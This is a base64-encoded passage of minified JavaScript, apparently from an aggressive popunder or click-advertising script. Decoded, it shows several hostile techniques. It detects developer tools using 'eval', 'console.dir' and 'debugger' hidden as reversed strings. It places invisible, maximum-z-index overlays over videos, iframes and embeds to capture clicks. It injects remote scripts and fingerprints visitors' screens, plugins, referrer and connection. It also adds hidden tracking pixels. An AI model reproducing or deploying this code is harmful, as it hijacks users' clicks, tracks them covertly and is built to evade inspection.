JuIG51bGw7aWYoTGUpcmV0dXJuIExlPSExLG51bGw7TGU9ITA7dmFyIHQ9ZS50YXJnZXRUb3VjaGVzWzBdLmNsaWVudFgsbj1lLnRhcmdldFRvdWNoZXNbMF0uY2xpZW50WSxvPWZ1bmN0aW9uKGUpe2lmKGguWi5kb2MuYm9keS5yZW1vdmVFdmVudExpc3RlbmVyKCJ0b3VjaGVuZCIsbywhMSksTGUpe0xlPSExO3ZhciBpPWUuY2hhbmdlZFRvdWNoZXNbMF0uY2xpZW50WCxhPWUuY2hhbmdlZFRvdWNoZXNbMF0uY2xpZW50WTtoLloud2luLmlubmVySGVpZ2h0LzEwMD5NYXRoLmFicyhhLW4pJiZoLloud2luLmlubmVyV2lkdGgvMTAwPk1hdGguYWJzKGktdCkmJnIoZSl9fTtyZXR1cm4gaC5aLmRvYy5ib2R5LmFkZEV2ZW50TGlzdGVuZXIoInRvdWNoZW5kIixvLCExKSxudWxsfSksITEpKTpqJiYoaygiY2xpY2tMaXN0ZW5lcjIiKSxlLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIix0LCEwKSkpOmguWi5kb2MuYXR0YWNoRXZlbnQmJihrKCJhdHRhY2hFdmVudCIpLGUuYXR0YWNoRXZlbnQoIm9uY2xpY2siLHQpKSxvJiZmdW5jdGlvbihlLHQpe3ZhciBuPXdpbmRvd1sibGF2ZSIuc3BsaXQoIiIpLnJldmVyc2UoKS5qb2luKCIiKV0scj0icmlkLmVsb3Nub2MiLnNwbGl0KCIiKS5yZXZlcnNlKCkuam9pbigiIiksbz0icmVnZ3ViZWQiLnNwbGl0KCIiKS5yZXZlcnNlKCkuam9pbigiIik7aWYoKEd8fFh8fHRlfHxZKSYmISgibW96SW5uZXJTY3JlZW5YImluIHdpbmRvdykpe3ZhciBpPSExLGE9Il8iK01hdGgucmFuZG9tKCkudG9TdHJpbmcoMzYpLnNsaWNlKDIpO3dpbmRvd1thXT1uZXcgSW1hZ2UsT2JqZWN0LmRlZmluZVByb3BlcnR5KHdpbmRvd1thXSwiaWQiLHtnZXQ6ZnVuY3Rpb24oKXtpPSEwfX0pO3ZhciBjPXNldEludGVydmFsKChmdW5jdGlvbigpe2k9ITEsbihyKyIoIithKyIpOyIpLGkmJihkZWxldGUgd2luZG93W2FdLEhlKGUsdCksY2xlYXJJbnRlcnZhbChjKSl9KSwzMDApfWVsc2UgdmFyIHM9c2V0SW50ZXJ2YWwoKGZ1bmN0aW9uKCl7dmFyIHI9KG5ldyBEYXRlKS5nZXRUaW1lKCk7bihvKyI7IiksKG5ldyBEYXRlKS5nZXRUaW1lKCktcj4xMDAmJihIZShlLHQpLGNsZWFySW50ZXJ2YWwocykpfSksMzAwKX0oZSx0KX12YXIgV2U9WyJtb3VzZWRvd24iLCJjbGljayIsIm1vdXNldXAiLCJ0b3VjaGVuZCIsInRvdWNoc3RhcnQiXTtmdW5jdGlvbiBIZShlLHQpe1dlLmZvckVhY2goKGZ1bmN0aW9uKG4pe2UucmVtb3ZlRXZlbnRMaXN0ZW5lcihuLHQsITApfSkpfXZhciBYZSxKZSxHZT1bIm9iamVjdCIsImlmcmFtZSIsImVtYmVkIiwidmlkZW8iLCJhdWRpbyJdLFllPWZ1bmN0aW9uKCl7Zm9yKHZhciBlPVtdLHQ9TWF0aC5jZWlsKDEwKk1hdGgucmFuZG9tKCkpKzEsbj0wO248dDtuKyspe3ZhciByPU1hdGguZmxvb3IoMjUqTWF0aC5yYW5kb20oKSkrOTc7ZS5wdXNoKFN0cmluZy5mcm9tQ2hhckNvZGUocikpfXJldHVybiBlLmpvaW4oIiIpfSgpLFFlPVtdO2Z1bmN0aW9uICRlKCl7cmV0dXJuIFhlfWZ1bmN0aW9uIGV0KCl7dmFyIGU9dHQoaC5aLmRvYy5ib2R5KSx0PU1hdGgubWF4KGguWi5kb2NFbGVtZW50LmNsaWVudEhlaWdodCxoLlouZG9jRWxlbWVudC5zY3JvbGxIZWlnaHQsaC5aLndpbi5pbm5lckhlaWdodHx8MCwwKTtyZXR1cm57aGVpZ2h0Ok1hdGgubWF4KHQtMjUsZS5oZWlnaHQsMSksd2lkdGg6ZS53aWR0aH19ZnVuY3Rpb24gdHQoZSl7dmFyIHQ9aC5aLmRvY0VsZW1lbnQsbj1lLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpLHI9aC5aLndpbi5wYWdlWU9mZnNldHx8dC5zY3JvbGxUb3B8fGguWi5kb2MuYm9keS5zY3JvbGxUb3Asbz1oLloud2luLnBhZ2VYT2Zmc2V0fHx0LnNjcm9sbExlZnR8fGguWi5kb2MuYm9keS5zY3JvbGxMZWZ0LGk9dC5jbGllbnRUb3B8fGguWi5kb2MuYm9keS5jbGllbnRUb3B8fDAsYT10LmNsaWVudExlZnR8fGguWi5kb2MuYm9keS5jbGllbnRMZWZ0fHwwO3JldHVybnt0b3A6TWF0aC5yb3VuZChuLnRvcCtyLWkpLGxlZnQ6TWF0aC5yb3VuZChuLmxlZnQrby1hKSx3aWR0aDpNYXRoLmZsb29yKG4ud2lkdGgpLGhlaWdodDpNYXRoLmZsb29yKG4uaGVpZ2h0KX19ZnVuY3Rpb24gbnQoZSx0KXt2YXIgbj1lLmxlZnQ8PXQubGVmdCYmZS5sZWZ0K2Uud2lkdGg8PXQubGVmdHx8ZS5sZWZ0Pj10LmxlZnQrdC53aWR0aCYmZS5sZWZ0K2Uud2lkdGg+PXQubGVmdCt0LndpZHRoLHI9ZS50b3A8PXQudG9wJiZlLnRvcCtlLmhlaWdodDw9dC50b3B8fGUudG9wPj10LnRvcCt0LmhlaWdodCYmZS50b3ArZS5oZWlnaHQ+PXQudG9wK3QuaGVpZ2h0O3JldHVybiFuJiYhcn1mdW5jdGlvbiBydChlKXtyZXR1cm4gZS5maWx0ZXIoKGZ1bmN0aW9uKHQsbil7cmV0dXJuIGUuaW5kZXhPZih0KT09PW59KSkuc29ydCgoZnVuY3Rpb24oZSx0KXtyZXR1cm4gZS10fSkpfWZ1bmN0aW9uIG90KGUsdCl7Zm9yKHZhciBuPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHJ0KHQucmVkdWNlKChmdW5jdGlvbihlLHQpe3JldHVybiBlLmNvbmNhdCh0LmxlZnQsdC5sZWZ0K3Qud2lkdGgpfSksW2UubGVmdCxlLmxlZnQrZS53aWR0aF0pKX0oZSx0KSxyPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHJ0KHQucmVkdWNlKChmdW5jdGlvbihlLHQpe3JldHVybiBlLmNvbmNhdCh0LnRvcCx0LnRvcCt0LmhlaWdodCl9KSxbZS50b3AsZS50b3ArZS5oZWlnaHRdKSl9KGUsdCksbz1bXSxpPTA7aTxyLmxlbmd0aC0xO2krKylmb3IodmFyIGE9MDthPG4ubGVuZ3RoLTE7YSsrKXt2YXIgYz12b2lkIDA7dHJ5e2Zvcih2YXIgcz1pKzE7czxyLmxlbmd0aDtzKyspZm9yKHZhciB1PWZ1bmN0aW9uKGUpe3ZhciB1PXt0b3A6cltpXSxsZWZ0Om5bYV0sd2lkdGg6bltlXS1uW2FdLGhlaWdodDpyW3NdLXJbaV19O2lmKHQuc29tZSgoZnVuY3Rpb24oZSl7cmV0dXJuIG50KGUsdSl9KSl8fG8uc29tZSgoZnVuY3Rpb24oZSl7cmV0dXJuIG50KGUsdSl9KSkpdGhyb3cgbmV3IEVycm9yO2M9dX0sbD1hKzE7bDxuLmxlbmd0aDtsKyspdShsKX1jYXRjaChlKXt9YyYmby5wdXNoKGMpfXJldHVybiBvfWZ1bmN0aW9uIGl0KGUpe3JldHVybiBlLnNtYXJ0T3ZlcmxheT9bXS5zbGljZS5jYWxsKEdlKTpbXX1mdW5jdGlvbiBhdChlLHQpe3ZhciBuPXQuYWRkT3ZlcmxheSxyPXQuc21hcnRPdmVybGF5TWluV2lkdGgsbz10LnNtYXJ0T3ZlcmxheU1pbkhlaWdodDtpZighKFFlLmxlbmd0aD4wKSYmaC5aLmRvYy5ib2R5KXt2YXIgaT1pdCh0KTtpZihpLmxlbmd0aHx8bil7dmFyIGE9aS5sZW5ndGg/W10uc2xpY2UuY2FsbChoLlouZG9jLnF1ZXJ5U2VsZWN0b3JBbGwoaS5qb2luKCIsIikpKTpbXTtpZihhLmxlbmd0aHx8bil7dmFyIGM9dnQodCkubWFwKHR0KSxzPWEuZmlsdGVyKChmdW5jdGlvbihlKXt2YXIgbj10dChlKTtyZXR1cm4gbi53aWR0aD49ciYmbi5oZWlnaHQ+PW8mJnd0KHQsZSwhMCl9KSk7aWYocy5sZW5ndGh8fG4pe2lmKCFYZSl7dmFyIHU9ZXQoKTsoWGU9aC5aLmRvYy5jcmVhdGVFbGVtZW50KCJkaXYiKSkuY2xhc3NOYW1lPVllLFhlLnN0eWxlLmNzc1RleHQ9IlxuICAgICAgICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICBsZWZ0OiAwO1xuICAgICAgICAgICAgd2lkdGg6ICIrdS53aWR0aCsicHg7XG4gICAgICAgICAgICBoZWlnaHQ6ICIrdS5oZWlnaHQrInB4O1xuICAgICAgICAgICAgei1pbmRleDogIisiMjE0NzQ4MzY0NztcbiAgICAgICAgIixoLlouZG9jRWxlbWVudC5hcHBlbmRDaGlsZChYZSl9biYmcy5wdXNoKFhlKSxzLmZvckVhY2goKGZ1bmN0aW9uKG4pe3ZhciBpPXR0KG4pO2lmKG49PT1YZXx8aS53aWR0aD49ciYmaS5oZWlnaHQ+PW8pe3ZhciBhPWMuZmlsdGVyKChmdW5jdGlvbihlKXtyZXR1cm4gbnQoaSxlKX0pKTtvdChpLGEpLmZvckVhY2goKGZ1bmN0aW9uKG4pe3ZhciByPWguWi5kb2MuY3JlYXRlRWxlbWVudCgiZGl2Iik7ci5zdHlsZS5jc3NUZXh0PSJcbiAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgICAgICB0b3A6ICIrbi50b3ArInB4O1xuICAgICAgICAgICAgICAgICAgICBsZWZ0OiAiK24ubGVmdCsicHg7XG4gICAgICAgICAgICAgICAgICAgIHdpZHRoOiAiK24ud2lkdGgrInB4O1xuICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6ICIrbi5oZWlnaHQrInB4O1xuICAgICAgICAgICAgICAgICAgICB6LWluZGV4OiAiKyIyMTQ3NDgzNjQ3O1xuICAgICAgICAgICAgICAgICAgICAiKyhoLloud2luLmRyYXdPdmVybGF5cz8iYmFja2dyb3VuZDogcmdiYSgwLCAwLCAyNTUsIDAuMyk7IjoiIikrIlxuICAgICAgICAgICAgICAgICAgICBwb2ludGVyLWV2ZW50czogYXV0bztcbiAgICAgICAgICAgICAgICAiLGomJnIuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLChmdW5jdGlvbigpe30pLCEwKSxLZShyLGUsdCksUWUucHVzaChyKSxYZS5hcHBlbmRDaGlsZChyKX0pKX19KSl9fX19fWZ1bmN0aW9uIGN0KCl7aWYoUWUubGVuZ3RoKXtRZT1RZS5maWx0ZXIoKGZ1bmN0aW9uKGUpe3RyeXtlLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZSl9Y2F0Y2goZSl7fXJldHVybiExfSkpO3RyeXtYZS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKFhlKX1jYXRjaChlKXt9WGU9bnVsbH19ZnVuY3Rpb24gc3QoZSx0LG4pe3ZhciByPW4uYWRkT3ZlcmxheSxvPW4uc21hcnRPdmVybGF5O2lmKCFyJiYhbylyZXR1cm4gaygibm9PdmVybGF5cyIpO2lmKEplfHxrKCJhZGRPdmVybGF5cyIpLHQuaXNJbXByZXNzaW9uQXZhaWxhYmxlKG4pWzBdJiYhdC5pc0ludGVybWVkaWF0ZUltcHJlc3Npb25BdmFpbGFibGUobikpe3ZhciBpPWl0KG4pLGE9KDAsSlNPTi5zdHJpbmdpZnkpKFtldCgpLFtdLm1hcC5jYWxsKGkubGVuZ3RoP2guWi5kb2MucXVlcnlTZWxlY3RvckFsbChpLmpvaW4oIiwiKSk6W10sdHQpLFtdLm1hcC5jYWxsKHZ0KG4pLHR0KV0pO0plIT09YT8oSmU9YSxjdCgpLGF0KGUsbikpOlFlLmxlbmd0aD9mdW5jdGlvbigpe2lmKFhlKXRyeXtYZS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKFhlKSxoLlouZG9jRWxlbWVudC5hcHBlbmRDaGlsZChYZSl9Y2F0Y2goZSl7fX0oKTphdChlLG4pfWVsc2UgY3QoKTtyZXR1cm4gc2V0VGltZW91dCgoZnVuY3Rpb24oKXtzdChlLHQsbil9KSwyOTkpfXZhciB1dCxsdD0iTm90SW5JZnJhbWUiLGR0PWRvY3VtZW50LmN1cnJlbnRTY3JpcHQmJmRvY3VtZW50LmN1cnJlbnRTY3JpcHQuc3JjfHwiIjtmdW5jdGlvbiBwdChlLHQpe2Zvcih2YXIgbj10Lmxlbmd0aDtuOylpZihlPT09dFtuLT0xXSlyZXR1cm4hMDtyZXR1cm4hMX1mdW5jdGlvbiBmdCgpe3JldHVybiBsdH1mdW5jdGlvbiBodChlKXt2YXIgdD1bXTtyZXR1cm4gbSgoZnVuY3Rpb24oKXt0PUFycmF5LmZyb20oaC5aLmRvYy5xdWVyeVNlbGVjdG9yQWxsKGUpKX0pKSx0fWZ1bmN0aW9uIG10KGUsdCxuKXtpZighaC5aLmRvYy5ib2R5KXJldHVybiBzZXRUaW1lb3V0KG10LDEwMCxlLHQsbik7aWYodCYmaC5aLndpblt0XSlyZXR1cm4gbnVsbDt2YXIgcj1oLlouY3JlYXRlRWxlbWVudC5jYWxsKGguWi5kb2MsInNjcmlwdCIpO3JldHVybiByLnNldEF0dHJpYnV0ZSgic3JjIixlKSxyLnNldEF0dHJpYnV0ZSgiYXN5bmMiLCJ0cnVlIiksci5zZXRBdHRyaWJ1dGUoImRlZmVyIiwidHJ1ZSIpLChoLlouZG9jLmJvZHl8fGguWi5kb2NFbGVtZW50KS5hcHBlbmRDaGlsZChyKSwiZnVuY3Rpb24iPT10eXBlb2YgbiYmbihyKSxudWxsfWZ1bmN0aW9uIHZ0KGUpe3ZhciB0LG49YygpLmZpbHRlcigoZnVuY3Rpb24oZSl7cmV0dXJuIm5hdGl2ZSI9PT1lLmZvcm1hdH0pKS5tYXAoKGZ1bmN0aW9uKGUpe3JldHVybiBlLnNlbGVjdG9yfSkpLHI9YygpLmZpbHRlcigoZnVuY3Rpb24oZSl7cmV0dXJuIkluLVBhZ2UgUHVzaCI9PT1lLmZvcm1hdH0pKS5tYXAoKGZ1bmN0aW9uKGUpe3JldHVybiBlLmV4dHJhLmdjKCl9KSkucmVkdWNlKChmdW5jdGlvbihlLHQpe3JldHVybiBlLmNvbmNhdCh0KX0pLFtdKSxvPVtdO2Zvcih0PWUuZXhjbHVkZXMubGVuZ3RoO3Q7KXQtPTEsbz1vLmNvbmNhdChodChlLmV4Y2x1ZGVzW3RdKSk7Zm9yKHQ9bi5sZW5ndGg7dDspdC09MSxvPW8uY29uY2F0KGh0KG5bdF0pKTtmb3IodD1yLmxlbmd0aDt0Oyl0LT0xLG89by5jb25jYXQoclt0XSk7cmV0dXJuIG0oKGZ1bmN0aW9uKCl7aC5aLndpbi5vbkNsaWNrRXhjbHVkZXMmJihvPW8uY29uY2F0KGguWi53aW4ub25DbGlja0V4Y2x1ZGVzKSl9KSksb31mdW5jdGlvbiB3dChlLHQsbil7dmFyIHIsbz12dChlKSxpPVtdLGE9dC50YWdOYW1lLnRvTG93ZXJDYXNlKCk7aWYoIW4mJigib2JqZWN0Ij09PWF8fCJlbWJlZCI9PT1hKSlyZXR1cm4hMTtmb3Iocj1lLmluY2x1ZGVzLmxlbmd0aDtyOylyLT0xLGk9aS5jb25jYXQoaHQoZS5pbmNsdWRlc1tyXSkpO2ZvcigoZS5jbGlja0FueXdoZXJlfHxlLmFnZ3Jlc3NpdmUmJmUuaW5jbHVkZXMubGVuZ3RoJiYhaS5sZW5ndGgpJiZpLnB1c2goaC5aLmRvY0VsZW1lbnQpLCRlKCkmJmkucHVzaCgkZSgpKTt0Oyl7aWYocHQodCxvKSlyZXR1cm4hMTtpZihwdCh0LGkpKXJldHVybiEwO3Q9dC5wYXJlbnRFbGVtZW50fXJldHVybiExfWZ1bmN0aW9uIGd0KGUsdCl7cmV0dXJuIGU/ZSBpbnN0YW5jZW9mIEhUTUxFbGVtZW50JiZlLnRhZ05hbWU9PT10P2U6ZSBpbnN0YW5jZW9mIEhUTUxFbGVtZW50P2d0KGUucGFyZW50RWxlbWVudCx0KTpudWxsOm51bGx9ZnVuY3Rpb24geXQoZSl7dmFyIHQ9ZS56b25lSWQsbj1kdCxyPXMobiksbz1zKHdpbmRvdy5sb2NhdGlvbi5ocmVmKXx8d2luZG93LmxvY2F0aW9uLmhvc3RuYW1lLGk9bmV3IFJlZ0V4cCgiKGFwdS5waHB8dGFnLm1pbi5qc3wvNS8iK3QrIikiLCJpIiksYT1uZXcgUmVnRXhwKCIoPz0uKmFhYikoPz0uKm9uY2xpY2spLioiLCJpIiksdT1pLnRlc3QobiksbD0hIWMoKS5zb21lKChmdW5jdGlvbihlKXtyZXR1cm4gYS50ZXN0KGUuZm9ybWF0KX0pKSxkPXI9PT1vfHxbImVzY2RuLmNvIl0uaW5kZXhPZihyKT4tMTtyZXR1cm4gayhbImFhYnRlc3Q6IiwidXJsPSIrbisiOyIsImFwdT0iKyh1PyJ5ZXMiOiJubyIpKyI7IiwiYWFiPSIrKGw/InllcyI6Im5vIikrIjsiLCJwcm94eT0iKyhkPyJ5ZXMiOiJubyIpXS5qb2luKCIgIikpLCF1JiYobHx8ZCl9ZnVuY3Rpb24gU3QoZSx0KXt2YXIgbj1lLmRvbnRGb2xsb3dMaW5rLHI9dihlKTtpZighKHQgaW5zdGFuY2VvZiBIVE1MQW5jaG9yRWxlbWVudCkpcmV0dXJuITE7dmFyIG89dCYmdC5nZXRBdHRyaWJ1dGUoImhyZWYiKTtyZXR1cm4hbiYmIXIudGltZW91dCYmbnVsbCE9PW8mJiIiIT09byYmIiMiIT09b31tKChmdW5jdGlvbigpe3dpbmRvdyE9PXdpbmRvdy50b3AmJndpbmRvdy5sb2NhdGlvbi5vcmlnaW49PT13aW5kb3cudG9wLmxvY2F0aW9uLm9yaWdpbiYmKGx0PSJJbklmcmFtZUNhbkV4aXQiKSx3aW5kb3cucGFyZW50LmRvY3VtZW50fHwobHQ9IkluSWZyYW1lQ2FuTm90RXhpdCIpfSksKGZ1bmN0aW9uKCl7bHQ9IkluSWZyYW1lQ2FuTm90RXhpdCJ9KSk7dmFyIGt0PWguWi5kb2MuY3VycmVudFNjcmlwdDtmdW5jdGlvbiBidChlKXtyZXR1cm4gaC5aLndpbi5wZXJmb3JtYW5jZS5nZXRFbnRyaWVzKCkuZmlsdGVyKChmdW5jdGlvbih0KXtyZXR1cm4hIXQubmFtZSYmLTEhPT10Lm5hbWUuaW5kZXhPZihlKX0pKVswXX1mdW5jdGlvbiBadChlKXttKChmdW5jdGlvbigpe2lmKCEoMTAwKk1hdGgucmFuZG9tKCk+MjApKXtpZigibG9jYWxTdG9yYWdlImluIGguWi53aW4pe3ZhciB0PStuZXcgRGF0ZSxuPWZ1bmN0aW9uKGUpe3JldHVybiJfX1BQVV9QUkYyIitlLnpvbmVJZH0oZSk7aWYoTnVtYmVyKGguWi53aW4ubG9jYWxTdG9yYWdlW25dKSszNmU1PnQpcmV0dXJuITE7aC5aLndpbi5sb2NhbFN0b3JhZ2Vbbl09dH0oZnVuY3Rpb24oZSl7cmV0dXJuIShlLmRpc2FibGVQZXJmb3JhbW5jZUNvbXBsZXRlbHl8fCFrdHx8IVUmJiFHfHwhaC5aLndpbi5wZXJmb3JtYW5jZXx8IWguWi53aW4ucGVyZm9ybWFuY2UuZ2V0RW50cmllc3x8cSl9KShlKSYmZnVuY3Rpb24oZSl7dmFyIHQ9ZS5pbWFnZVRvVHJhY2tQZXJmb3JtYW5jZU9uLG49YnQoa3Quc3JjKTtpZihuKXt2YXIgcj1uLmNvbm5lY3RFbmQtbi5jb25uZWN0U3RhcnQ7aC5aLndpbi5pc05hTihyKXx8MD09PXJ8fCh2ZS5jb2xsZWN0RGVidWcoZSwicGVyZiIse3BlcmY6e3NjcmlwdExvYWRQZXJmb3JtYW5jZTpufX0pLHQmJm0oKGZ1bmN0aW9uKCl7dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7bi5vbmVycm9yPWZ1bmN0aW9uKHQpe3ZlLmNvbGxlY3RFcnJvcihlLCJwZXJmIixuZXcgRXJyb3IodC50b1N0cmluZygpKSksbi5wYXJlbnROb2RlJiZuLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobil9LG4ub25sb2FkPWZ1bmN0aW9uKCl7bSgoZnVuY3Rpb24oKXt2YXIgcj1idCh0KTtuLnBhcmVudE5vZGUmJm4ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChuKSxyJiZ2ZS5jb2xsZWN0RGVidWcoZSwicGVyZiIse3BlcmY6e2ltZ0xvYWRQZXJmb3JtYW5jZTpyfX0pfSkpfSxuLnNyYz10LG4uc3R5bGUuc2V0UHJvcGVydHkoIndpZHRoIiwiMXB4IiwiaW1wb3J0YW50Iiksbi5zdHlsZS5zZXRQcm9wZXJ0eSgiaGVpZ2h0IiwiMXB4IiwiaW1wb3J0YW50Iiksbi5zdHlsZS5zZXRQcm9wZXJ0eSgiekluZGV4IiwiLTEwMCIsImltcG9ydGFudCIpLG4uc3R5bGUuc2V0UHJvcGVydHkoInRvcCIsIi0xMDAwMHB4IiwiaW1wb3J0YW50Iiksbi5zdHlsZS5zZXRQcm9wZXJ0eSgiZGlzcGxheSIsImJsb2NrIiwiaW1wb3J0YW50Iiksbi5zdHlsZS5zZXRQcm9wZXJ0eSgicG9zaXRpb24iLCJhYnNvbHV0ZSIsImltcG9ydGFudCIpLG4uc3R5bGUuc2V0UHJvcGVydHkoInZpc2liaWxpdHkiLCJoaWRkZW4iLCJpbXBvcnRhbnQiKX0pKSl9fShlKSwiY29ubmVjdGlvbiJpbiBuYXZpZ2F0b3ImJmZ1bmN0aW9uKGUpe3ZlLmNvbGxlY3REZWJ1ZyhlLCJjb25uZWN0aW9uIix7Y29ubmVjdGlvbjp7ZG93bmxpbms6bmF2aWdhdG9yLmNvbm5lY3Rpb24uZG93bmxpbmssZWZmZWN0aXZlVHlwZTpuYXZpZ2F0b3IuY29ubmVjdGlvbi5lZmZlY3RpdmVUeXBlLHR5cGU6bmF2aWdhdG9yLmNvbm5lY3Rpb24udHlwZSxydHQ6bmF2aWdhdG9yLmNvbm5lY3Rpb24ucnR0fX0pfShlKX19KSl9dmFyIEV0PSJZelIodmgmZWtLN3ItXXN5VzU9OWxIXjNxU35Nd0VvWio2IzppfU5CdEFjcFYxKTRUXzBtalVPW3hRSnVDRzJuZFAhWEkvTERGQDhmYnxnYSwiLF90PVsiLiIsIiUiLCJ7Il07ZnVuY3Rpb24gQ3QoZSl7cmV0dXJuIG0oKGZ1bmN0aW9uKCl7dmFyIHQsbj1uZXcgZnVuY3Rpb24oKXt2YXIgZT1mdW5jdGlvbihlKXt2YXIgdD0tMTt0cnl7dD1lLkdldFZhcmlhYmxlKCIkdmVyc2lvbiIpfWNhdGNoKGUpe31yZXR1cm4gdH0sdD10aGlzO3QuaW5zdGFsbGVkPSExLHQucmF3PSIiLHQubWFqb3I9LTEsdC5taW5vcj0tMSx0LnJldmlzaW9uPS0xLHQucmV2aXNpb25TdHI9IiI7dmFyIG49W3tuYW1lOiJTaG9ja3dhdmVGbGFzaC5TaG9ja3dhdmVGbGFzaC43Iix2ZXJzaW9uOmZ1bmN0aW9uKHQpe3JldHVybiBlKHQpfX0se25hbWU6IlNob2Nrd2F2ZUZsYXNoLlNob2Nrd2F2ZUZsYXNoLjYiLHZlcnNpb246ZnVuY3Rpb24odCl7dmFyIG49IjYsMCwyMSI7dHJ5e3QuQWxsb3dTY3JpcHRBY2Nlc3M9ImFsd2F5cyIsbj1lKHQpfWNhdGNoKGUpe31yZXR1cm4gbn19LHtuYW1lOiJTaG9ja3dhdmVGbGFzaC5TaG9ja3dhdmVGbGFzaCIsdmVyc2lvbjpmdW5jdGlvbih0KXtyZXR1cm4gZSh0KX19XSxyPWZ1bmN0aW9uKGUpe3ZhciB0PS0xO3RyeXt0PW5ldyBBY3RpdmVYT2JqZWN0KGUpfWNhdGNoKGUpe3Q9e2FjdGl2ZVhFcnJvcjohMH19cmV0dXJuIHR9LG89ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5zcGxpdCgiLCIpO3JldHVybntyYXc6ZSxtYWpvcjpwYXJzZUludCh0WzBdLnNwbGl0KCIgIilbMV0sMTApLG1pbm9yOnBhcnNlSW50KHRbMV0sMTApLHJldmlzaW9uOnBhcnNlSW50KHRbMl0sMTApLHJldmlzaW9uU3RyOnRbMl19fSxpPWZ1bmN0aW9uKGUpe3JldHVybiBwYXJzZUludChlLnJlcGxhY2UoL1thLXpBLVpdL2csIiIpLDEwKXx8dC5yZXZpc2lvbn07dC5tYWpvckF0TGVhc3Q9ZnVuY3Rpb24oZSl7cmV0dXJuIHQubWFqb3I+PWV9LHQubWlub3JBdExlYXN0PWZ1bmN0aW9uKGUpe3JldHVybiB0Lm1pbm9yPj1lfSx0LnJldmlzaW9uQXRMZWFzdD1mdW5jdGlvbihlKXtyZXR1cm4gdC5yZXZpc2lvbj49ZX0sdC52ZXJzaW9uQXRMZWFzdD1mdW5jdGlvbigpe2Zvcih2YXIgZT1bdC5tYWpvcix0Lm1pbm9yLHQucmV2aXNpb25dLG49TWF0aC5taW4oZS5sZW5ndGgsYXJndW1lbnRzLmxlbmd0aCkscj0wO3I8bjtyKyspe2lmKGVbcl0+PWFyZ3VtZW50c1tyXSl7aWYocisxPG4mJmVbcl09PWFyZ3VtZW50c1tyXSljb250aW51ZTtyZXR1cm4hMH1yZXR1cm4hMX1yZXR1cm4gbnVsbH0sdC5GbGFzaERldGVjdD1mdW5jdGlvbigpe2lmKG5hdmlnYXRvci5wbHVnaW5zJiZuYXZpZ2F0b3IucGx1Z2lucy5sZW5ndGg+MCl7dmFyIGU9ImFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoIixhPW5hdmlnYXRvci5taW1lVHlwZXM7aWYoYSYmYVtlXSYmYVtlXS5lbmFibGVkUGx1Z2luJiZhW2VdLmVuYWJsZWRQbHVnaW4uZGVzY3JpcHRpb24pe3ZhciBjPWFbZV0uZW5hYmxlZFBsdWdpbi5kZXNjcmlwdGlvbixzPShoPShmPWMpLnNwbGl0KC8gKy8pLG09aFsyXS5zcGxpdCgvXC4vKSx2PWhbM10se3JhdzpmLG1ham9yOnBhcnNlSW50KG1bMF0sMTApLG1pbm9yOnBhcnNlSW50KG1bMV0sMTApLHJldmlzaW9uU3RyOnYscmV2aXNpb246aSh2KX0pO3QucmF3PXMucmF3LHQubWFqb3I9cy5tYWpvcix0Lm1pbm9yPXMubWlub3IsdC5yZXZpc2lvblN0cj1zLnJldmlzaW9uU3RyLHQucmV2aXNpb249cy5yZXZpc2lvbix0Lmluc3RhbGxlZD0hMH19ZWxzZSBpZigtMT09PW5hdmlnYXRvci5hcHBWZXJzaW9uLmluZGV4T2YoIk1hYyIpJiZ3aW5kb3cuZXhlY1NjcmlwdClmb3IodmFyIHU9LTEsbD0wO2w8bi5sZW5ndGgmJi0xPT09dTtsKyspe3ZhciBkPXIobltsXS5uYW1lKTtpZighZC5hY3RpdmVYRXJyb3ImJih0Lmluc3RhbGxlZD0hMCwtMSE9PSh1PW5bbF0udmVyc2lvbihkKSkpKXt2YXIgcD1vKHUpO3QucmF3PXAucmF3LHQubWFqb3I9cC5tYWpvcix0Lm1pbm9yPXAubWlub3IsdC5yZXZpc2lvbj1wLnJldmlzaW9uLHQucmV2aXNpb25TdHI9cC5yZXZpc2lvblN0cn19dmFyIGYsaCxtLHZ9KCl9O3Q9bi5tYWpvcj4wPzE6MCxlPXcoZSwiZnMiLHQpLGU9dyhlLCJjZiIsdCl9KSksbSgoZnVuY3Rpb24oKXtlPXcoZSwic3ciLGguWi53aW4uc2NyZWVuLndpZHRoKSxlPXcoZSwic2giLGguWi53aW4uc2NyZWVuLmhlaWdodCl9KSksbSgoZnVuY3Rpb24oKXtlPXcoZSwic2FoIixoLloud2luLnNjcmVlbi5hdmFpbEhlaWdodCl9KSksbSgoZnVuY3Rpb24oKXtlPXcoZSwid3giLGguWi53aW4uc2NyZWVuWCksZT13KGUsInd5IixoLloud2luLnNjcmVlblkpfSkpLG0oKGZ1bmN0aW9uKCl7ZT13KGUsInd3IixoLloud2luLm91dGVyV2lkdGgpLGU9dyhlLCJ3aCIsaC5aLndpbi5vdXRlckhlaWdodCl9KSksbSgoZnVuY3Rpb24oKXtlPXcoZSwiY3ciLGguWi5kb2NFbGVtZW50LmNsaWVudFdpZHRoKX0pKSxtKChmdW5jdGlvbigpe2U9dyhlLCJ3aXciLGguWi53aW4uaW5uZXJXaWR0aCksZT13KGUsIndpaCIsaC5aLndpbi5pbm5lckhlaWdodCl9KSksbSgoZnVuY3Rpb24oKXtlPXcoZSwid2ZjIixoLloud2luLnRvcC5mcmFtZXMubGVuZ3RoKX0pKSxtKChmdW5jdGlvbigpe2U9dyhlLCJwbCIsaC5aLmRvYy5sb2NhdGlvbi5ocmVmKX0pKSxtKChmdW5jdGlvbigpe2U9dyhlLCJkcmYiLGguWi5kb2MucmVmZXJyZXIpf